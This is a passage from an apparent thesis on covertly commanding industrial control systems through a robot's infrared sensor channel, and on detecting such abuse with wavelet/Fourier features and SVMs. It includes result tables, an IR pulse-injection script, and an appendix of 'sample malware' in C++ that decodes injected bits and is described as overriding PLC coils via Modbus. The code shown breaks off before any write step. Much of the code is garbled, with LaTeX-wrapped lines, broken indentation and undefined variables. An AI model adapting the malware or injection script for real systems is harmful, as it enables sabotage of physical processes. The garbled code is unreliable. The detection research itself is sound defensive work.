<td>162</td>
<td>0.99</td>
<td></td>
<td>0.331</td>
<td>0.101</td>
</tr>
<tr>
<td>sym2</td>
<td>650</td>
<td>162</td>
<td>0.99</td>
<td></td>
<td>0.328</td>
<td>0.101</td>
</tr>
<tr>
<td>sym4</td>
<td>650</td>
<td>162</td>
<td>0.99</td>
<td></td>
<td>0.327</td>
<td>0.104</td>
</tr>
<tr>
<td>db2</td>
<td>325</td>
<td>325</td>
<td>0.99</td>
<td></td>
<td>0.529</td>
<td>0.5</td>
</tr>
<tr>
<td>db4</td>
<td>325</td>
<td>325</td>
<td>0.99</td>
<td></td>
<td>0.538</td>
<td>0.5</td>
</tr>
<tr>
<td>sym2</td>
<td>325</td>
<td>325</td>
<td>0.99</td>
<td></td>
<td>0.529</td>
<td>0.5</td>
</tr>
<tr>
<td>sym4</td>
<td>325</td>
<td>325</td>
<td>0.99</td>
<td></td>
<td>0.528</td>
<td>0.498</td>
</tr>
<tr>
<td>db2</td>
<td>325</td>
<td>162</td>
<td>0.99</td>
<td></td>
<td>0.329</td>
<td>0.101</td>
</tr>
<tr>
<td>db4</td>
<td>325</td>
<td>162</td>
<td>0.99</td>
<td></td>
<td>0.331</td>
<td>0.107</td>
</tr>
<tr>
<td>sym2</td>
<td>325</td>
<td>162</td>
<td>0.99</td>
<td></td>
<td>0.329</td>
<td>0.101</td>
</tr>
<tr>
<td>sym4</td>
<td>325</td>
<td>162</td>
<td>0.99</td>
<td></td>
<td>0.327</td>
<td>0.104</td>
</tr>
<tr>
<td>db2</td>
<td>162</td>
<td>162</td>
<td>0.99</td>
<td></td>
<td>0.464</td>
<td>0.319</td>
</tr>
<tr>
<td>db4</td>
<td>162</td>
<td>162</td>
<td>0.99</td>
<td></td>
<td>0.47</td>
<td>0.319</td>
</tr>
<tr>
<td>sym2</td>
<td>162</td>
<td>162</td>
<td>0.99</td>
<td></td>
<td>0.483</td>
<td>0.389</td>
</tr>
<tr>
<td>sym4</td>
<td>162</td>
<td>162</td>
<td>0.99</td>
<td></td>
<td>0.483</td>
<td>0.389</td>
</tr>
<tr>
<td>db2</td>
<td>162</td>
<td>81</td>
<td>0.99</td>
<td></td>
<td>0.452</td>
<td>0.304</td>
</tr>
<tr>
<td>db4</td>
<td>162</td>
<td>81</td>
<td>0.99</td>
<td></td>
<td>0.442</td>
<td>0.301</td>
</tr>
<tr>
<td>sym2</td>
<td>162</td>
<td>81</td>
<td>0.99</td>
<td></td>
<td>0.452</td>
<td>0.304</td>
</tr>
<tr>
<td>sym4</td>
<td>162</td>
<td>81</td>
<td>0.99</td>
<td></td>
<td>0.46</td>
<td>0.31</td>
</tr>
<tr>
<td>db2</td>
<td>162</td>
<td>40</td>
<td>0.99</td>
<td></td>
<td>0.446</td>
<td>0.301</td>
</tr>
<tr>
<td>db4</td>
<td>162</td>
<td>40</td>
<td>0.99</td>
<td></td>
<td>0.439</td>
<td>0.302</td>
</tr>
<tr>
<td>sym2</td>
<td>162</td>
<td>40</td>
<td>0.99</td>
<td></td>
<td>0.446</td>
<td>0.301</td>
</tr>
<tr>
<td>sym4</td>
<td>162</td>
<td>40</td>
<td>0.99</td>
<td></td>
<td>0.441</td>
<td>0.304</td>
</tr>
<tr>
<td>db2</td>
<td>81</td>
<td>81</td>
<td>0.99</td>
<td></td>
<td>0.321</td>
<td>0.246</td>
</tr>
<tr>
<td>db4</td>
<td>81</td>
<td>81</td>
<td>0.99</td>
<td></td>
<td>0.321</td>
<td>0.251</td>
</tr>
<tr>
<td>sym2</td>
<td>81</td>
<td>81</td>
<td>0.99</td>
<td></td>
<td>0.321</td>
<td>0.246</td>
</tr>
<tr>
<td>sym4</td>
<td>81</td>
<td>81</td>
<td>0.99</td>
<td></td>
<td>0.331</td>
<td>0.254</td>
</tr>
<tr>
<td>db2</td>
<td>81</td>
<td>40</td>
<td>0.99</td>
<td></td>
<td>0.441</td>
<td>0.281</td>
</tr>
<tr>
<td>db4</td>
<td>81</td>
<td>40</td>
<td>0.99</td>
<td></td>
<td>0.469</td>
<td>0.292</td>
</tr>
<tr>
<td>sym2</td>
<td>81</td>
<td>40</td>
<td>0.99</td>
<td></td>
<td>0.441</td>
<td>0.281</td>
</tr>
<tr>
<td>sym4</td>
<td>81</td>
<td>40</td>
<td>0.99</td>
<td></td>
<td>0.465</td>
<td>0.29</td>
</tr>
<tr>
<td>db2</td>
<td>81</td>
<td>20</td>
<td>0.99</td>
<td></td>
<td>0.46</td>
<td>0.285</td>
</tr>
<tr>
<td>db4</td>
<td>81</td>
<td>20</td>
<td>0.99</td>
<td></td>
<td>0.462</td>
<td>0.291</td>
</tr>
<tr>
<td>sym2</td>
<td>81</td>
<td>20</td>
<td>0.99</td>
<td></td>
<td>0.46</td>
<td>0.285</td>
</tr>
<tr>
<td>sym4</td>
<td>81</td>
<td>20</td>
<td>0.99</td>
<td></td>
<td>0.462</td>
<td>0.289</td>
</tr>
</tbody>
</table>

Table 4.13: Detection result for one-class SVM trained with normal signal samples which are transformed by different wavelets.
<table>
<thead>
<tr>
<th>Wavelet Function</th>
<th>$\rho_l$</th>
<th>$\rho_s$</th>
<th>Normal Detection Recall</th>
<th>Attack Detection Recall</th>
<th>$H_1$ Recall</th>
<th>$H_0$ Recall</th>
<th>$L_1$ Recall</th>
<th>$L_0$ Recall</th>
</tr>
</thead>
<tbody>
<tr>
<td>db4</td>
<td>650</td>
<td>325</td>
<td>0.99</td>
<td>0.98</td>
<td>0.943</td>
<td>1</td>
<td>0.972</td>
<td>1</td>
</tr>
<tr>
<td>sym2</td>
<td>650</td>
<td>325</td>
<td>0.99</td>
<td>0.973</td>
<td>0.918</td>
<td>0.997</td>
<td>0.967</td>
<td>1</td>
</tr>
<tr>
<td>sym4</td>
<td>650</td>
<td>325</td>
<td>0.99</td>
<td>0.984</td>
<td>0.96</td>
<td>1</td>
<td>0.974</td>
<td>1</td>
</tr>
<tr>
<td>db2</td>
<td>650</td>
<td>162</td>
<td>0.991</td>
<td>0.962</td>
<td>0.877</td>
<td>1</td>
<td>0.958</td>
<td>1</td>
</tr>
<tr>
<td>db4</td>
<td>650</td>
<td>162</td>
<td>0.991</td>
<td>0.972</td>
<td>0.921</td>
<td>1</td>
<td>0.963</td>
<td>1</td>
</tr>
<tr>
<td>sym2</td>
<td>650</td>
<td>162</td>
<td>0.991</td>
<td>0.962</td>
<td>0.877</td>
<td>1</td>
<td>0.958</td>
<td>1</td>
</tr>
<tr>
<td>sym4</td>
<td>650</td>
<td>162</td>
<td>0.991</td>
<td>0.963</td>
<td>0.887</td>
<td>0.998</td>
<td>0.955</td>
<td>1</td>
</tr>
<tr>
<td>db2</td>
<td>325</td>
<td>325</td>
<td>0.99</td>
<td>0.631</td>
<td>0.5</td>
<td>0.5</td>
<td>0.671</td>
<td>0.774</td>
</tr>
<tr>
<td>db4</td>
<td>325</td>
<td>325</td>
<td>0.99</td>
<td>0.632</td>
<td>0.5</td>
<td>0.5</td>
<td>0.671</td>
<td>0.779</td>
</tr>
<tr>
<td>sym2</td>
<td>325</td>
<td>325</td>
<td>0.99</td>
<td>0.631</td>
<td>0.5</td>
<td>0.5</td>
<td>0.671</td>
<td>0.774</td>
</tr>
<tr>
<td>sym4</td>
<td>325</td>
<td>325</td>
<td>0.99</td>
<td>0.63</td>
<td>0.5</td>
<td>0.5</td>
<td>0.668</td>
<td>0.774</td>
</tr>
<tr>
<td>db2</td>
<td>325</td>
<td>162</td>
<td>0.964</td>
<td>0.758</td>
<td>0.606</td>
<td>0.619</td>
<td>0.816</td>
<td>0.904</td>
</tr>
<tr>
<td>db4</td>
<td>325</td>
<td>162</td>
<td>0.964</td>
<td>0.761</td>
<td>0.611</td>
<td>0.624</td>
<td>0.818</td>
<td>0.904</td>
</tr>
<tr>
<td>sym2</td>
<td>325</td>
<td>162</td>
<td>0.964</td>
<td>0.758</td>
<td>0.606</td>
<td>0.619</td>
<td>0.816</td>
<td>0.904</td>
</tr>
<tr>
<td>sym4</td>
<td>325</td>
<td>162</td>
<td>0.933</td>
<td>0.79</td>
<td>0.64</td>
<td>0.65</td>
<td>0.852</td>
<td>0.93</td>
</tr>
<tr>
<td>db2</td>
<td>325</td>
<td>81</td>
<td>0.988</td>
<td>0.726</td>
<td>0.567</td>
<td>0.591</td>
<td>0.784</td>
<td>0.874</td>
</tr>
<tr>
<td>db4</td>
<td>325</td>
<td>81</td>
<td>0.988</td>
<td>0.73</td>
<td>0.571</td>
<td>0.599</td>
<td>0.787</td>
<td>0.876</td>
</tr>
<tr>
<td>sym2</td>
<td>325</td>
<td>81</td>
<td>0.988</td>
<td>0.726</td>
<td>0.567</td>
<td>0.591</td>
<td>0.784</td>
<td>0.874</td>
</tr>
<tr>
<td>sym4</td>
<td>325</td>
<td>81</td>
<td>0.988</td>
<td>0.729</td>
<td>0.57</td>
<td>0.6</td>
<td>0.786</td>
<td>0.874</td>
</tr>
<tr>
<td>db2</td>
<td>162</td>
<td>162</td>
<td>0.991</td>
<td>0.563</td>
<td>0.358</td>
<td>0.382</td>
<td>0.637</td>
<td>0.76</td>
</tr>
<tr>
<td>db4</td>
<td>162</td>
<td>162</td>
<td>0.991</td>
<td>0.572</td>
<td>0.379</td>
<td>0.394</td>
<td>0.642</td>
<td>0.764</td>
</tr>
<tr>
<td>sym2</td>
<td>162</td>
<td>162</td>
<td>0.991</td>
<td>0.563</td>
<td>0.358</td>
<td>0.382</td>
<td>0.637</td>
<td>0.76</td>
</tr>
<tr>
<td>sym4</td>
<td>162</td>
<td>162</td>
<td>0.991</td>
<td>0.574</td>
<td>0.379</td>
<td>0.393</td>
<td>0.645</td>
<td>0.766</td>
</tr>
<tr>
<td>db2</td>
<td>162</td>
<td>81</td>
<td>0.988</td>
<td>0.571</td>
<td>0.372</td>
<td>0.394</td>
<td>0.652</td>
<td>0.754</td>
</tr>
<tr>
<td>db4</td>
<td>162</td>
<td>81</td>
<td>0.991</td>
<td>0.575</td>
<td>0.376</td>
<td>0.401</td>
<td>0.655</td>
<td>0.757</td>
</tr>
<tr>
<td>sym2</td>
<td>162</td>
<td>81</td>
<td>0.988</td>
<td>0.571</td>
<td>0.372</td>
<td>0.394</td>
<td>0.652</td>
<td>0.754</td>
</tr>
<tr>
<td>sym4</td>
<td>162</td>
<td>81</td>
<td>0.991</td>
<td>0.573</td>
<td>0.375</td>
<td>0.4</td>
<td>0.652</td>
<td>0.754</td>
</tr>
<tr>
<td>db2</td>
<td>162</td>
<td>40</td>
<td>0.988</td>
<td>0.574</td>
<td>0.376</td>
<td>0.395</td>
<td>0.656</td>
<td>0.757</td>
</tr>
<tr>
<td>db4</td>
<td>162</td>
<td>40</td>
<td>0.988</td>
<td>0.578</td>
<td>0.387</td>
<td>0.404</td>
<td>0.656</td>
<td>0.758</td>
</tr>
<tr>
<td>sym2</td>
<td>162</td>
<td>40</td>
<td>0.988</td>
<td>0.574</td>
<td>0.376</td>
<td>0.395</td>
<td>0.656</td>
<td>0.757</td>
</tr>
<tr>
<td>sym4</td>
<td>162</td>
<td>40</td>
<td>0.988</td>
<td>0.58</td>
<td>0.385</td>
<td>0.404</td>
<td>0.659</td>
<td>0.76</td>
</tr>
<tr>
<td>db2</td>
<td>81</td>
<td>81</td>
<td>0.99</td>
<td>0.483</td>
<td>0.184</td>
<td>0.322</td>
<td>0.595</td>
<td>0.695</td>
</tr>
<tr>
<td>db4</td>
<td>81</td>
<td>81</td>
<td>0.988</td>
<td>0.476</td>
<td>0.176</td>
<td>0.317</td>
<td>0.588</td>
<td>0.685</td>
</tr>
<tr>
<td>sym2</td>
<td>81</td>
<td>81</td>
<td>0.988</td>
<td>0.476</td>
<td>0.176</td>
<td>0.317</td>
<td>0.588</td>
<td>0.685</td>
</tr>
<tr>
<td>sym4</td>
<td>81</td>
<td>81</td>
<td>0.988</td>
<td>0.479</td>
<td>0.184</td>
<td>0.323</td>
<td>0.589</td>
<td>0.686</td>
</tr>
<tr>
<td>db2</td>
<td>81</td>
<td>40</td>
<td>0.989</td>
<td>0.481</td>
<td>0.181</td>
<td>0.319</td>
<td>0.59</td>
<td>0.695</td>
</tr>
<tr>
<td>db4</td>
<td>81</td>
<td>40</td>
<td>0.99</td>
<td>0.484</td>
<td>0.185</td>
<td>0.324</td>
<td>0.592</td>
<td>0.698</td>
</tr>
<tr>
<td>sym2</td>
<td>81</td>
<td>40</td>
<td>0.99</td>
<td>0.484</td>
<td>0.185</td>
<td>0.324</td>
<td>0.592</td>
<td>0.698</td>
</tr>
<tr>
<td>sym4</td>
<td>81</td>
<td>40</td>
<td>0.988</td>
<td>0.496</td>
<td>0.214</td>
<td>0.335</td>
<td>0.599</td>
<td>0.703</td>
</tr>
<tr>
<td>db2</td>
<td>81</td>
<td>20</td>
<td>0.99</td>
<td>0.483</td>
<td>0.184</td>
<td>0.322</td>
<td>0.595</td>
<td>0.695</td>
</tr>
<tr>
<td>db4</td>
<td>81</td>
<td>20</td>
<td>0.989</td>
<td>0.481</td>
<td>0.181</td>
<td>0.32</td>
<td>0.591</td>
<td>0.695</td>
</tr>
<tr>
<td>sym2</td>
<td>81</td>
<td>20</td>
<td>0.989</td>
<td>0.481</td>
<td>0.181</td>
<td>0.32</td>
<td>0.591</td>
<td>0.695</td>
</tr>
<tr>
<td>sym4</td>
<td>81</td>
<td>20</td>
<td>0.972</td>
<td>0.501</td>
<td>0.225</td>
<td>0.34</td>
<td>0.603</td>
<td>0.706</td>
</tr>
</tbody>
</table>

Table 4.14: Detection result for one-class SVM trained with normal signal samples which are transformed by both wavelet and Fourier transformations.
CHAPTER 5

CONCLUSION

Advanced Persistent Threat (APT) is a sophisticated and coordinated Malware that is designed to impact the targeted system by gaining access to the targeted system and taking over the control of the system. In this paper, we have demonstrated that the sensory channels have the potential to be misused as a control-and-command path to coordinate Cyber-attacks.

In order to protect the ICS from these types of Cyber-attacks, an Intrusion Detection System (IDS) is proposed to actively monitor the sensory channels and conduct signal sampling and feature extraction so that the classification models can use these data to differentiate between the normal and modified signal pulses.

The results obtained based on our experiments have shown that the one-class SVM paired with Fourier transformation was able to detect new or Zero-day attacks.

Future work will concentrate on expanding the data injection model to encode multiple-bit per pulse as presented in [24]. Further, we will expand our investigation of misusing different types of sensors such as pressure, level, etc. In addition, attacks on a network of sensors will be included to study the behaviour of the distributed attacks. Furthermore, the sensory channel misuse concept can be applied to many Cyber-Physical Systems (CPS) like the Internet of Things (IoT) or robotic systems. Considering the increased use of devices with sensors, exploring the sensor misuse in cyber-physical devices is a critical and exciting field for further work.
REFERENCES


[8] USB Infrared Toy, dangerous prototype http://dangerousprototypes.com/docs/USB_Infrared_Toy


APPENDIX A
KOBUKI

A.1 Overview

The iClebo Kobuki is a low-cost mobile research base robot from Yujinrobot company. Kobuki has its own firmware and it communicates through USB and serial port [7].


The iClebo Kobuki hardware specification ¹:

- “PC Connection: USB or via RX/TX pins on the parallel port”
- “Motor Overload Detection: disables power on detecting high current”
- “Odometry: 52 ticks/enc rev, 2578.33 ticks/wheel rev, 11.7 ticks/mm”
- “Gyro: factory calibrated, 1 axis (110 deg/s)”
- “Bumpers: left, center, right”
- “IR Cliff sensors: left, center, right”
- “Wheel drop sensor: left, right”
- “Power connectors: 5V/1A, 12V/1.5A, 12V/5A”
- “Expansion pins: 3.3V/1A, 5V/1A, 4 x analog in, 4 x digital in, 4 x digital out”
- “Audio : several programmable beep sequences”
- “Programmable LED: 2 x two-coloured LED”

• “State LED : 1 x two coloured LED [Green - high, Orange - low, Green Blinking - charging]”

• “Buttons: 3 x touch buttons”

• “Battery: Lithium-Ion, 14.8V, 2200mAh (4S1P - small), 4400mAh (4S2P - large)”

• “Firmware upgradeable: via usb”

• “Sensor Data Rate: 50Hz”

• “Recharging Adapter: Input: 100-240V AC, 50/60Hz, 1.5A max; Output: 19V. DC, 3.16A”

• “Netbook charging connector (only enabled when robot is recharging): 19V/2.1A DC”

• “Docking IR Receiver: left, centre, right”

• “Diameter : 351.5mm / Height : 124.8mm / Weight : 2.35kg (4S1P - small)”

A.2 Sharp IR Sensor

Kobuki uses GP2Y0A51SK IR\(^2\) sensor as a distance measuring sensor. GP2Y0A51SK uses a triangulation method to calculate the distance, therefore it is not affected by environmental temperature or operating duration.

\(^2\)www.sharp-world.com/products/device/lineup/data/pdf/datasheet/gp2y0a21yk_e.pdf
Figure A.1: iclebo kobuki top view.

Figure A.2: iclebo kobuki bottom view.
USB IRTOY V2

B.1 Overview

The USB IR-Toy is an USB dongle device which sends and receives infrared signal. The figure B.1 from dangerousprototypes.com website shows an USB IR-Toy.

The dangerousprototypes.com describes each part as below:\(^1\):

1. “USB MINI-B connector”
2. “Indicator LED, blinks on receive and indicates other functions depending on mode”
3. “Infrared transmitter LED”
4. “Infrared demodulator”
5. “Infrared frequency detector”
6. “PIC programming header pins”
7. “Serial UART pins, can be used as a USB to serial converter”
8. “Access to the infrared transmitter and demodulator signals”
9. “Unused pins, including +5volt supply from USB”

\(^1\)http://dangerousprototypes.com/docs/USB_IR_Toy_v2
B.2 Programming USB-IRtoy

The irtoy.exe is a command line program that can be used to control USB-IRtoy. The irtoy.exe records the length of received IR pulses in a binary file. The irtoy.exe also reads the pulse length from binary files and send a command to IRtoy.

Command Example: irtoy -d COM3 -p -f test -r This command reads the signal durations captured by IRtoy from com3 and store them in test00.bin file

irtoy -d COM3 -p -f test -p This command reads the signals durations from the test00.bin file and send them to USB-IRtoy

Bin file structure Example: A bin files always starts with a pulse duration value and end with 0xff byte.

```plaintext
{0039}{0012}{003b}{0012}... means

0x0039 : First pulse duration = 57 * 21.3333us = 1215.981us

0x0012 : First blank duration = 12 * 21.3333us = 255.996us
```
The following python script creates the test000.bin file for controlling the IR-light emitting time:

```python
#!/usr/bin/env python
import sys

#usage python make_multi_bit bin_file_name pattern

# the bin file
fileName = sys.argv[1]

#bit sequence pattern that is going to inject into teh system
```

0x003b : Second pulse duration = $59 \times 21.3333\text{us} = 1258.647\text{us}$
pattern = sys.argv[2]
print(fileName)
print(pattern)

#number of repeated bytes which represent the send and delay time
# send signal '\x00\xf5\x00\x03'
# delay signal '\x00\x03\x00\xf5'
startSignaleLength = 30
oneBitLength = 60
zeroBitLenght = 30
delimeterLength = 30

with open(fileName, 'wb') as f:
    for i in range (0,delimeterLength):
        f.write(b'\x00\xf5\x00\x03')
    for i in range(0,startSignaleLength):
        f.write(b'\x00\x03\x00\xf5')
    for i in range (0,delimeterLength):
        f.write(b'\x00\xf5\x00\x03')
    for c in pattern:
        if (c=='1'):
            for i in range(0,oneBitLength):
                f.write(b'\x00\x03\x00\xf5')
else:
    for i in range(0, zeroBitLength):
        f.write(b'\x00\x03\x00\xf5')
    for i in range(0, delimiterLength):
        f.write(b'\x00\xf5\x00\x03')

    f.write(b'\x00\x03\x00\xf5\x00\x03\x00\xf5')
    f.write(b'\xff\xff')
    f.close()
VELOCIO ACE 11 PLC

Programmable logic controller (PLC) is a digital computer used in industrial control systems. Base on Velocio Ace 11 data sheet (http://velocio.net/AceDatasheet.pdf) has basic digital input and output and it is designed for motion control, PWM outputs and high speed pulse counting. Ace 11 has following ports:

- **6 Digital Inputs** - Protected, 3-30 VDC with high speed pulse counting capability.
- **6 Digital Outputs** - PWM capable on all outputs.
- **USB programming port** - USB port Modbus RTU slave enabled.

![Figure C.1: Velocio ACE 11](image)
APPENDIX D
D.1 Generating Wavelet Feature Sets

The following code reads a CSV file containing the normal or misused signal samples and generates the wavelet-based feature:

```python
import numpy as np

# isAttack is 1 if the csv file represents attack signal, 0 if it represents normal signals
# attTypes:
# 1 if it is a H0 attack
# 2 if it is a H1 attack
# 3 if it is a L0 attack
# 4 if it is a L1 attack

def wavelet_feature(filename, targetFilename, wave_family, isAttack, attType):
    import pywt
    with open(filename) as f:
        lines = f.readlines()
        for i, line in enumerate(lines):
            #if(i==1):
            #print(line)
            myarray = np.fromstring(line, dtype=float, sep=',')
```
cA, cD = pywt.dwt(myarray, wave_family)

f1=open(targetFilename, 'w+')</f1>

print >> f1 , ','.join(map(str, cA)) + ',',

+ str(isAttack) + ',' + str(attType)

f1.close

wavelet_feature('signal_source.csv','target_file_name.csv','sym2', 1 , 1)

D.2 Generating Fourier Feature Sets

The following code reads a CSV file containing the normal or misused signal samples and generates the Fourier-based feature:

```python
import numpy as np

# isAttack is 1 if the csv file represents attack signal,
# 0 if it represents normal signals
# attType:
# 1 if it is a H0 attack
# 2 if it is a H1 attack
# 3 if it is a L0 attack
```
# 4 if it is a L1 attack

def genFourierDataset(filename, isAttack, attType):

    with open(filename) as f:
        lines = f.readlines()
        for i, line in enumerate(lines):
            #if(i<3):
                #seq_arr = np.fromstring(line, dtype=float, sep=',' , sep=',' )
            #print(seq_arr )
            fourier = np.fft.fft(seq_arr)
            #print (int((len(fourier)/2)))
            pfourier = fourier[int((len(fourier)/2)):

            print (*pfourier.real, sep=',' , end=''
            print (',', end='''
            print (*pfourier.imag, sep=',' , end='''
            print (',', + str(isAttack) + ',', end='''
            print (attType)

genFourierDataset('filename.csv',1 , 1)
D.3 Train and Test the SVM

The following code reads a CSV file containing the features then trains and tests the SVM model:

```python
import numpy as np
import sys
import pandas as pd
from sklearn import svm
from sklearn.model_selection import KFold
from sklearn.metrics import f1_score
from sklearn.metrics import confusion_matrix
from sklearn import metrics

def findGamma(X,y):
    split = 3
    KF = KFold(n_splits=split)
    avg = 0
    f1Avg = 0
    for i in range(1,15):
        f1Sum=0
        igamma = 0.00000000001 * (pow(10,i))
        for train_index,test_index in KF.split(X):
            Xtrain = X[train_index]
            ytrain = y[train_index]
```
\[ X_{\text{test}} = X_{[\text{test\_index}]} \]
\[ y_{\text{test}} = y_{[\text{test\_index}]} \]
\[ \text{clf1} = \text{svm.SVC(kernel='rbf',gamma=igamma)} \]
\[ \text{clf1.fit(Xtrain,ytrain)} \]
\[ \text{ypred=clf1.predict(Xtest)} \]

\[ \text{f1Sum} += \text{f1\_score(ytest, ypred)} \]

\[ \text{avg} = \text{f1Sum/split} \]
\[ \text{print(str(igamma)+ ": \ " + str(avg))} \]
\[ \text{if} \ \text{avg} > \text{f1Avg:} \]
\[ \quad \text{f1Avg} = \text{avg} \]
\[ \quad \text{bestGamma} = \text{igamma} \]

\[ \text{avg} = 0 \]
\[ \text{f1Avg} = 0 \]
\[ \text{for} \ i \ \text{in range}(1,40): \]
\[ \quad \text{f1Sum}=0 \]
\[ \quad \text{igamma} = (\text{bestGamma} / 10 ) \ast i \]
\[ \quad \#\text{print(igamma)} \]
\[ \quad \text{for} \ \text{train\_index, test\_index in KF.split(X)}: \]
\[ \quad \quad \text{Xtrain} = X_{[\text{train\_index}]} \]
\[ \quad \quad \text{ytrain} = y_{[\text{train\_index}]} \]
\[ \quad \quad \text{Xtest} = X_{[\text{test\_index}]} \]
\[ \quad \quad \text{ytest} = y_{[\text{test\_index}]} \]
clf1 = svm.SVC(kernel='rbf', gamma=igamma)
clf1.fit(Xtrain, ytrain)
ypred = clf1.predict(Xtest)

f1Sum += f1_score(ytest, ypred)

avg = f1Sum/split
print(str(igamma)+ " : " + str(avg))
if avg > f1Avg:
f1Avg = avg
    bestGamma = igamma

print("Best Gamma: " + str(bestGamma))
sys.stdout.flush()
return bestGamma

def trainSVM(mix_filename):
    print("result for feature file:" + mix_filename)
d = pd.read_csv(mix_filename).values

# number of features
numFeature = 16
X = d[:, 0:numFeature]
y = d[:, numFeature]
g = d[:, numFeature+1]

split = 10
kf = KFold(n_splits=split)

accu = 0
fiscoreAttSum = 0
fiscoresumw = 0

f1sum_h0 = 0  # H0 attack
f1sum_h1 = 0
f1sum_L0 = 0
f1sum_L1 = 0

for train_index, test_index in kf.split(X):
    print("*********** fold ***********")
    sys.stdout.flush()
    X_train = X[train_index]
    X_test = X[test_index]
    y_train = y[train_index]
    y_test = y[test_index]
g_test = g[test_index]

# use first third of the train fold to find the best gamma
bestGamma = findGamma(X_train, y_train)

cnf_matrix = confusion_matrix(y_test, y_pred)
print(cnf_matrix)
print("Classification report for classifier :\
    %s\n" % (metrics.classification_report(y_test, y_pred)))

f1scoresumw += f1_score(y_test, y_pred, labels=[0,1], average="weighted")
print('weighted f1-score=', f1_score(y_test, y_pred, labels=[0,1], average="weighted"))

f1scoreAttSum += f1_score(y_test, y_pred, labels=[0,1], average=None)
print('attack f1-score=', f1_score(y_test, y_pred, labels=[0,1], average=None))
ac = 1 - np.sum(np.not_equal(y_test, y_pred))/float(y_test.size)
accu = accu + ac
print('accuracy=', ac)

f1sum_h0 += f1_score(y_test[g_test==1], y_pred[g_test==1], labels=[1], average=None)
print('a0 f1-score=', f1_score(y_test[g_test==1], y_pred[g_test==1], labels=[1], average=None))

f1sum_h1 += f1_score(y_test[g_test==2], y_pred[g_test==2], labels=[1], average=None)
print('a1 f1-score=', f1_score(y_test[g_test==2], y_pred[g_test==2], labels=[1], average=None))

f1sum_L0 += f1_score(y_test[g_test==3], y_pred[g_test==3], labels=[1], average=None)
print('f0 f1-score=', f1_score(y_test[g_test==3], y_pred[g_test==3], labels=[1], average=None))

f1sum_L1 += f1_score(y_test[g_test==4], y_pred[g_test==4], labels=[1], average=None)
print('f1 f1-score=', f1_score(y_test[g_test==4], y_pred[g_test==4], labels=[1], average=None))
sys.stdout.flush()
print("")
print("Final Result")
print("----------")
print('weighted f1-score avga=',f1scoresumw/split)
print('attack f1-score avga=',f1scoreAttSum/split)
print('accuracy avga=',accu/split)

print("F1 score for each attack type")
print('h0 avga=',f1sum_h0/split)
print('H1 avga=',f1sum_h1/split)
print('L0 avga=',f1sum_L0/split)
print('L1 avga=',f1sum_L1/split)

sys.stdout.flush()

# name of the file that contains the signal features
mix_filename = "../wavelet/mix650/mix_lenSig650_sym2_shuf"

trainSVM(mix_filename)
D.4 Sample Malware

The following code is a sample malware which uses a one-transition to multi-bit as described in subsection 3.1.1. The malware uses Modbus write command to override the output of PLC coils.

```c
/**
 * @file /kobuki_driver/src/test/sigslots.cpp
 *
 * @brief Example/test program for kobuki sigslots.
 **/

/****************************************************************************
** Includes
****************************************************************************/

#include <ecl/time.hpp>
#include <ecl/sigslots.hpp>
#include <iostream>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <ecl/modbus.h>
```

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <ecl/modbus.h>
```

/modbus
#define LOOP 1
#define SERVER_ID 1
#define ADDRESS_START 0
#define ADDRESS_END 17

//data recognition
#define BEGIN_ZERO_RANGE 400
#define END_ZERO_RANGE 1300
#define BEGIN_ONE_RANGE 0
#define END_ONE_RANGE 200

#define START_PULSE_MIN_LENGTH 1
#define START_PULSE_MAX_LENGTH 10

/*****************************************************************************/
/** Classes
*****************************************************************************/

class KobukiManager
{
public:

KobukiManager ():slot_stream_data (&KobukiManager::processStreamData, *this)
// establish the callback
{
    kobuki::Parameters parameters;
    parameters.sigslots_namespace = "/mobile_base";
    // configure the first part of the sigslot namespace
    parameters.device_port = "/dev/kobuki";
    // the serial port to connect to (windows COM1..)
    // configure other parameters here
    kobuki.init (parameters);
    slot_stream_data.connect ("/mobile_base/stream_data");

    //19200
    ctx = modbus_new_rtu ("/dev/ttyACM0", 115200, 'N', 8, 1);
    modbus_set_slave (ctx, SERVER_ID);

    if (modbus_connect (ctx) == -1) {
        fprintf (stderr, "Connection failed: %s\n", modbus_strerror (errno));
        modbus_free (ctx);
        //return -1;
    }
}

~KobukiManager(){
    modbus_free (ctx);
}
void spin ()
{
    ecl::Sleep sleep (1);
    while (true) {
        sleep ();
    }

    leftCliff = 0;
}

/*
 * Called whenever the kobuki receives a data packet.
 * Up to you from here to process it.
 * Note that special processing is done for the various events
 * which discretely change
 * state (bumpers, cliffs etc) and updates for these are informed
 * via the xxxEvent
 * signals provided by the kobuki driver.
 */
void processStreamData ()
{
    kobuki::Cliff::Data data = kobuki.getCliffData ();
    //Farhad start
leftCliff = data.bottom[0];
std::cout << leftCliff << "-";
// current read is in what range
if (leftCliff > BEGIN_ZERO_RANGE && leftCliff < END_ZERO_RANGE) {
  inZeroRange = true;
  inOneRange = false;
  currRange = 0;
}
else if (leftCliff > BEGIN_ONE_RANGE && leftCliff < END_ONE_RANGE) {
  inZeroRange = false;
  inOneRange = true;
  currRange = 1;
}
else {
  inZeroRange = false;
  inOneRange = false;
  currRange = 2;
}

std::cout << "pre: " << prevRange << " curr: " << currRange << "-";
// Is it a transition
if (prevRange == 0 && currRange == 1) { //0->1
  trans = 0;
} else if (prevRange == 1 && currRange == 0) { // 1->0
    trans = 1;
}
else if ((prevRange == 0 && currRange == 0) ||
          (prevRange == 1 && currRange == 1)) { // 0->0 or 1->1
    trans = 2;
}
else { // weird
    trans = -1;
}

std::cout << trans << std::endl;

if (state == 1 && trans == 0) { // 0->1
    currReadNum = 1;
    state = 2; // in the possible start signal
    std::cerr << "state: " << state << std::endl;
}
else if (state == 2 && trans == 2) { // 0->0 or 1->1
    currReadNum++;
}
else if (state == 2 && trans == 1) { //1->0
    if (currReadNum >= START_PULSE_MIN_LENGTH and currReadNum <=
        START_PULSE_MAX_LENGTH) {
        state = 3;
        std::cerr << "state: " << state << std::endl;
        currReadNum = 0;
    }
}

//transit 0->0 or 1->1
else if (state == 3 && trans == 2) {
    currReadNum++;
}

//transit0->1
else if (state == 3 && trans == 0) {
    bool findNum = true;
    int i = 0;
    //find the shift number
    while (findNum && i < 8) {
        if (currReadNum >= zaroMinRead[i] &&
            currReadNum <= zaroMaxRead[i]) {
            findNum = false;
        }
        i++;
    }
}
if (i < 8) {
    if ((i + finalNumberLength) > 16) {
        i = 16 - finalNumberLength;
    }
    std::cout << "i: " << i << std::endl;
    finalNumber <<= i;
    finalNumberLength += i;
    if (finalNumberLength == 16) {
        state = 5;
